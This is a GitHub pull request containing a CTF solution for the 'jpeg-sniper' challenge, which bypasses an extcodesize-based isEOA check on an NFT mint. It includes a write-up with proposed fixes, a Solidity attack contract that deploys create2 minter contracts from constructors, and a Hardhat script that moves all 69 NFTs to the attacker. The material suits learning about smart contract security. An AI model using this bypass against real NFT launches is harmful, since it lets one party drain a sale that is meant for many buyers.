Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Blackadam #4

Open
wants to merge 3 commits into
base: implement
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
87 changes: 87 additions & 0 deletions 1-jpeg-sniper.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
### The jpeg-sniper ctf has three contract
- LaunchpegErrors.
It is a contract that contains custom error function.
The error keyword allows dev to define custom error types and use them in contracts.
It is used with revert.
It is imported in the other contract to handle errors.

- BaseLaunchpegNFT.
It is an nft contract (erc721).with other functionality added (e.g. A function to send back excess funds in a case whereby the user sent more than the require amount)

- FlatLaunchpeg
it imported the `BaseLaunchpegNFT` contract. This is the main contract that users will interact with.
It is used to manage mint, phase and other functionality derived from BaseLaunchpegNFT contract.

There is a modifier called `isEOA` which is attached to the publicSaleMint function used to check if the user sending the message is a contract address or an Externally owned Account(EOA).

So, they are trying to prevent contract from minting.

I realised that there is a bug with the `isEOA modifier`, that can allow a contract to mint.

here is the isEOA modifier.

```solidity
modifier isEOA() {
uint256 size;
address sender = msg.sender;

assembly {
size := extcodesize(sender)
}

if (size > 0) revert Launchpeg__Unauthorized();
_;
}
```

the `extcodesize` is an assembly code, it is used to check for the size of the code of an address

`extcodesize(sender)` returns the code size of the (sender)

basically
extcodesize(contract) will be greater than zero because it contains code

while
extcodesize(EOA) will always return 0 because there is no code in it.

so, is size > 0 it will revert. which basically is if it's a contract revert. but the bug here is a contract that has been self-destruct will return 0 and the code size will be 0, but there is possibility for code to be deployed to the same address. I once read an article on that when i was researching on create2. the articles talks about it and it reference a github repo which i cloned. you can check it out [here ](https://github.com/Ultra-Tech-code/metamorphic).

another hack. the extcodesize of a contract during deployment is zero until it's succesfully created. When i makes a call to the `publicSaleMint` function in the `FlatLaunchpeg` in the constructor. the check fails because the contract does not have source code during construction and `extcodesize(sender)` is zero because it's not yet created.


### How i implement my hacks.

I Created an attacker contract that has an attack function. The attack function takes in the address of the attacker and other necessary parameter. I used create2 to create contract that mint the nft and push the address to an array.

In the constructor of `Attacker` contract the `attack` function is called. The `attack` function create another contract `Mint`. In the `Mint` constuctor the `FlatLaunchpeg` Contract `publicSaleMint` function is called, so the `extcodesize(sender)` checks fails and the attacker was able to mint nft. and i also called the `setApprovalForAll` function passing the address of the attacker so that the attacker can transfer the nft after all the nft have been minted succsefully.

I did some calculation to determine the lenght of the `Mint` contract to be deployed and the amount of nft to be minted by each contract.

check the `deploy.ts` file in the scripts folder.


#### Changes that i propose
use `require(tx.origin == msg.sender);` to check for only EOA, because `tx.origin` is always an EOA(transaction initiator). It compares the tranaction initiator with current caller. here, the tx.origin will be the EOA(Attcaker) but the `msg.sender `will be the `Attacker` contract. so this will prevent contract from minting.

or
We can use a whitelising method whereby all the addresses that will be minting would have been whitelisted.
here is an [example ](https://github.com/Ultra-Tech-code/ERC20-Token-Airdrop-With-merkleTree)

There is no check for the `quantity`, so a user can passed in 0. - put a check there
The `_refundIfOver(total);` function should have been called before `_mintForUser(msg.sender, _quantity);`

### To run the script.
There is a scripts folder that has `deploy.ts` file. The `deploy.ts` file shows the walkthrough of the attack in details.

- To run the script
```bash
npx hardhat run scripts/deploy.ts
```

### To run the test
There is a test folder that has `1-jpeg-sniper.ts` file. The `1-jpeg-sniper.ts` file is the test file for the `FlatLaunchpeg` contract.

- To run the test
```bash
npx hardhat test test/1-jpeg-sniper.ts
```
100 changes: 100 additions & 0 deletions contracts/jpeg-sniper/AttackContract.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,100 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "./FlatLaunchpeg.sol";

// const collectionSize = 69;
// const maxperaddressduringmint = 5;

contract AttackContract{
//an array off all addresses deployed
address[] allcontractdeployed;

/**
* @notice constructor .runs on deployemnt of the contract.
* @dev calls the attack function
* @param _attackerAddress . The Address of the attacker,
* @param _FlatLaunchpeg . The FlatLaunchpeg address
**/
constructor(address _attackerAddress, address _FlatLaunchpeg){
attack(_attackerAddress,_FlatLaunchpeg);
}

/**
* @notice A function to compute the bytecode of a contract to be deployed
* @dev The function returns the bytecode of the Mint contract bytecode encoded with the constructor argument
* @param _attackerAddress The attacker address [mint constructor argument]
* @param _amount The amount of nft to be minted [mint constructor argument]
* @param _FlatLaunchpeg The address of the FlatLaunchpeg contract [mint constructor argument]
* @return bytes The bytes of the contract
*/
function getContractBytecode(address _attackerAddress, uint _amount, address _FlatLaunchpeg) internal pure returns (bytes memory) {
bytes memory bytecode = type(Mint).creationCode;
return abi.encodePacked(bytecode, abi.encode(_attackerAddress,_amount, _FlatLaunchpeg));
}

/**
* @notice A function to deploy a contract and return its address
* @dev The function deploys a new contract with the given constructor arguments and a precomputed salt value
* The function returns the address of the Deployed contract upon successful deployment and reverts upon failure.
* @param salt A unique uint256 used for the uniqueness of the contract to be deployed
* @param bytecode The bytecode of the contract to be deployed
* @return contractAddress The contract address of the newly deployed contract
*/
function createContract(uint salt, bytes memory bytecode) internal returns (address contractAddress){
assembly {
contractAddress := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
if iszero(extcodesize(contractAddress)) {
revert(0, 0)
}
}
}


/**
* @notice A function to deploy more than one Mint Contracts
* @dev The function calls the createContract function passing in the arguments requires and push the addresses to an array
* @param _attackerAddress The attacker address
* @param _FlatLaunchpeg The address of the FlatLaunchpeg contract
*/
function attack(address _attackerAddress, address _FlatLaunchpeg) public{
// 69/5
uint lenght = 13;
uint remainder = 4;
uint amountTomint = 5;
//(13*5) + 4 = 69

bytes memory contractByte = getContractBytecode(_attackerAddress, amountTomint, _FlatLaunchpeg);

for(uint256 i=0; i<lenght; i++){
allcontractdeployed.push(createContract(i, contractByte));
}

allcontractdeployed.push(createContract(13, getContractBytecode(_attackerAddress, remainder, _FlatLaunchpeg)));
}

/**
* @notice A function to return all the address of the contract deployed
*/
function returnAlladdress() public view returns(address[] memory){
return allcontractdeployed;
}

}

contract Mint{

/**
* @notice constructor .runs on deployemnt of the contract.
* @dev calls the publicSaleMint and setApprovalForAll function of the FlatLaunchpeg contract. It mint nft and set approval of the nft to the attacker address
* @param _attackerAddress . The Address of the attacker,
* @param _FlatLaunchpeg . The FlatLaunchpeg address
**/
constructor(address _attackerAddress, uint amount, address _FlatLaunchpeg){
FlatLaunchpeg FlatLaunchpegContract = FlatLaunchpeg(_FlatLaunchpeg);
FlatLaunchpegContract.publicSaleMint(amount);
FlatLaunchpegContract.setApprovalForAll(_attackerAddress, true);
}
}


97 changes: 97 additions & 0 deletions scripts/deploy.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
import { ethers } from "hardhat";

async function main() {
/*****************************88 */
let accounts = await ethers.getSigners();
let [attacker, o1, o2, admin] = accounts;

const flatLaunchpegFactory = await ethers.getContractFactory('FlatLaunchpeg')
const flatLaunchpeg = await flatLaunchpegFactory.connect(admin).deploy(69,5,5)

await flatLaunchpeg.deployed()

console.log("flatLaunchpegFactory", flatLaunchpeg.address)

let startBlock = await ethers.provider.getBlockNumber()
console.log("startblock", startBlock);

/*************************************************88 */

const AttackContract = await ethers.getContractFactory("AttackContract");
const attackContract = await AttackContract.connect(attacker).deploy(attacker.address, flatLaunchpeg.address);

await attackContract.deployed();

console.log(`attackContract deployed to ${attackContract.address}`);

/** Interact with the AttackContract contract */
const contract = await ethers.getContractAt("AttackContract", attackContract.address);


//total addresses
const alladdress = await contract.returnAlladdress();
console.log("alladdress", alladdress);

//check balance of the addr
const flatnft = flatLaunchpegFactory.attach(flatLaunchpeg.address)
let i = 0;

//get balance of each contract address deployed
for(i; i<=13; i++){
console.log(await flatnft.balanceOf(alladdress[i]));
}


console.log("owner of 0", await flatnft.ownerOf(0))
console.log("owner of 68", await flatnft.ownerOf(68))

console.log("----------------------------------------")
console.log("----------------------------------------" )

/****************mint nft to the attacker******************** */


// Initialize the ID counter
let idCounter = 0;

// Loop through each contract address
for (let i = 0; i < alladdress.length; i++) {
const contractAddress = alladdress[i];

// Calculate the number of NFTs to mint in the current contract
const nftsToMintPerContract = (i === alladdress.length - 1) ? 4 : 5;


// Mint the NFTs in the current contract
for (let j = 0; j < nftsToMintPerContract; j++) {
// Mint logic goes here, using the current contract address

// Example minting code:
console.log(`transfering NFT ${j + 1} in contract ${contractAddress}`);
// Mint the NFT using the current contract and address
flatnft.connect(attacker).transferFrom(contractAddress, attacker.address, idCounter)
console.log("owner of " + idCounter, await flatnft.ownerOf(idCounter))

idCounter++;
}

// Check if there is another contract address available
if (i + 1 < alladdress.length) {
console.log(`Switching to contract ${alladdress[i + 1]}\n`);
}


}


/***************check balance of the attacker******************8 */
console.log("balance of attacker",await flatnft.balanceOf(attacker.address))

}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
Loading